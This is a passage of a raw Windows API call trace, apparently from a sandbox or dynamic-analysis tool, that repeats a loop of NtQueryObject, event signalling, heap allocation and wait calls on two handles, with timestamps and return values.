dwMilliseconds=0xffffffff) returned 0x0 [0094.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.255] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.255] ResetEvent (hEvent=0xdc) returned 1 [0094.255] SetEvent (hEvent=0xe0) returned 1 [0094.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.255] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.256] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.256] ResetEvent (hEvent=0xdc) returned 1 [0094.256] SetEvent (hEvent=0xe0) returned 1 [0094.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.256] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.257] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.257] ResetEvent (hEvent=0xdc) returned 1 [0094.257] SetEvent (hEvent=0xe0) returned 1 [0094.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.257] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.257] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.257] ResetEvent (hEvent=0xdc) returned 1 [0094.258] SetEvent (hEvent=0xe0) returned 1 [0094.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.258] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.258] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.258] ResetEvent (hEvent=0xdc) returned 1 [0094.258] SetEvent (hEvent=0xe0) returned 1 [0094.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.259] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.259] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.259] ResetEvent (hEvent=0xdc) returned 1 [0094.259] SetEvent (hEvent=0xe0) returned 1 [0094.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.260] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.260] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.260] ResetEvent (hEvent=0xdc) returned 1 [0094.260] SetEvent (hEvent=0xe0) returned 1 [0094.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.261] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.261] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.261] ResetEvent (hEvent=0xdc) returned 1 [0094.261] SetEvent (hEvent=0xe0) returned 1 [0094.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.262] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.262] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.262] ResetEvent (hEvent=0xdc) returned 1 [0094.262] SetEvent (hEvent=0xe0) returned 1 [0094.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.263] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.263] NtQueryObject (in: Handle=0x124, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.263] ResetEvent (hEvent=0xdc) returned 1 [0094.263] SetEvent (hEvent=0xe0) returned 1 [0094.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.264] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.264] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.264] ResetEvent (hEvent=0xdc) returned 1 [0094.264] SetEvent (hEvent=0xe0) returned 1 [0094.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.265] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.265] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.265] ResetEvent (hEvent=0xdc) returned 1 [0094.265] SetEvent (hEvent=0xe0) returned 1 [0094.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.266] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.266] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.266] ResetEvent (hEvent=0xdc) returned 1 [0094.266] SetEvent (hEvent=0xe0) returned 1 [0094.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.266] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.267] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.267] ResetEvent (hEvent=0xdc) returned 1 [0094.267] SetEvent (hEvent=0xe0) returned 1 [0094.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.267] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.268] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.268] ResetEvent (hEvent=0xdc) returned 1 [0094.268] SetEvent (hEvent=0xe0) returned 1 [0094.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.268] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.269] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.269] ResetEvent (hEvent=0xdc) returned 1 [0094.269] SetEvent (hEvent=0xe0) returned 1 [0094.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.269] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.270] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.270] ResetEvent (hEvent=0xdc) returned 1 [0094.270] SetEvent (hEvent=0xe0) returned 1 [0094.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.270] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.271] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.271] ResetEvent (hEvent=0xdc) returned 1 [0094.271] SetEvent (hEvent=0xe0) returned 1 [0094.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.271] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.271] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.272] ResetEvent (hEvent=0xdc) returned 1 [0094.272] SetEvent (hEvent=0xe0) returned 1 [0094.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.272] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.272] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.272] ResetEvent (hEvent=0xdc) returned 1 [0094.272] SetEvent (hEvent=0xe0) returned 1 [0094.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.273] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.273] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.273] ResetEvent (hEvent=0xdc) returned 1 [0094.273] SetEvent (hEvent=0xe0) returned 1 [0094.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.274] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.274] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.274] ResetEvent (hEvent=0xdc) returned 1 [0094.274] SetEvent (hEvent=0xe0) returned 1 [0094.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.275] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.275] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.275] ResetEvent (hEvent=0xdc) returned 1 [0094.275] SetEvent (hEvent=0xe0) returned 1 [0094.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.275] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.276] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.276] ResetEvent (hEvent=0xdc) returned 1 [0094.276] SetEvent (hEvent=0xe0) returned 1 [0094.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.276] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.277] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.277] ResetEvent (hEvent=0xdc) returned 1 [0094.277] SetEvent (hEvent=0xe0) returned 1 [0094.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.277] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.278] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.278] ResetEvent (hEvent=0xdc) returned 1 [0094.278] SetEvent (hEvent=0xe0) returned 1 [0094.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.278] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.279] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.279] ResetEvent (hEvent=0xdc) returned 1 [0094.279] SetEvent (hEvent=0xe0) returned 1 [0094.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.279] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.279] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.279] ResetEvent (hEvent=0xdc) returned 1 [0094.280] SetEvent (hEvent=0xe0) returned 1 [0094.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.280] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.280] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.280] ResetEvent (hEvent=0xdc) returned 1 [0094.280] SetEvent (hEvent=0xe0) returned 1 [0094.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.281] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.281] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.281] ResetEvent (hEvent=0xdc) returned 1 [0094.281] SetEvent (hEvent=0xe0) returned 1 [0094.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.282] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.282] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.282] ResetEvent (hEvent=0xdc) returned 1 [0094.282] SetEvent (hEvent=0xe0) returned 1 [0094.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.283] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.283] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.283] ResetEvent (hEvent=0xdc) returned 1 [0094.283] SetEvent (hEvent=0xe0) returned 1 [0094.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.283] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.284] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.284] ResetEvent (hEvent=0xdc) returned 1 [0094.284] SetEvent (hEvent=0xe0) returned 1 [0094.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.284] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.285] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.285] ResetEvent (hEvent=0xdc) returned 1 [0094.285] SetEvent (hEvent=0xe0) returned 1 [0094.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.285] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.286] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.286] ResetEvent (hEvent=0xdc) returned 1 [0094.286] SetEvent (hEvent=0xe0) returned 1 [0094.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.286] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.286] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.286] ResetEvent (hEvent=0xdc) returned 1 [0094.287] SetEvent (hEvent=0xe0) returned 1 [0094.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.287] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.287] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.287] ResetEvent (hEvent=0xdc) returned 1 [0094.287] SetEvent (hEvent=0xe0) returned 1 [0094.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.288] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.288] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.288] ResetEvent (hEvent=0xdc) returned 1 [0094.288] SetEvent (hEvent=0xe0) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.289] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.289] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.289] ResetEvent (hEvent=0xdc) returned 1 [0094.289] SetEvent (hEvent=0xe0) returned 1 [0094.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.290] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.290] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.290] ResetEvent (hEvent=0xdc) returned 1 [0094.290] SetEvent (hEvent=0xe0) returned 1 [0094.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.290] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.291] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.291] ResetEvent (hEvent=0xdc) returned 1 [0094.291] SetEvent (hEvent=0xe0) returned 1 [0094.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.291] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.292] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, 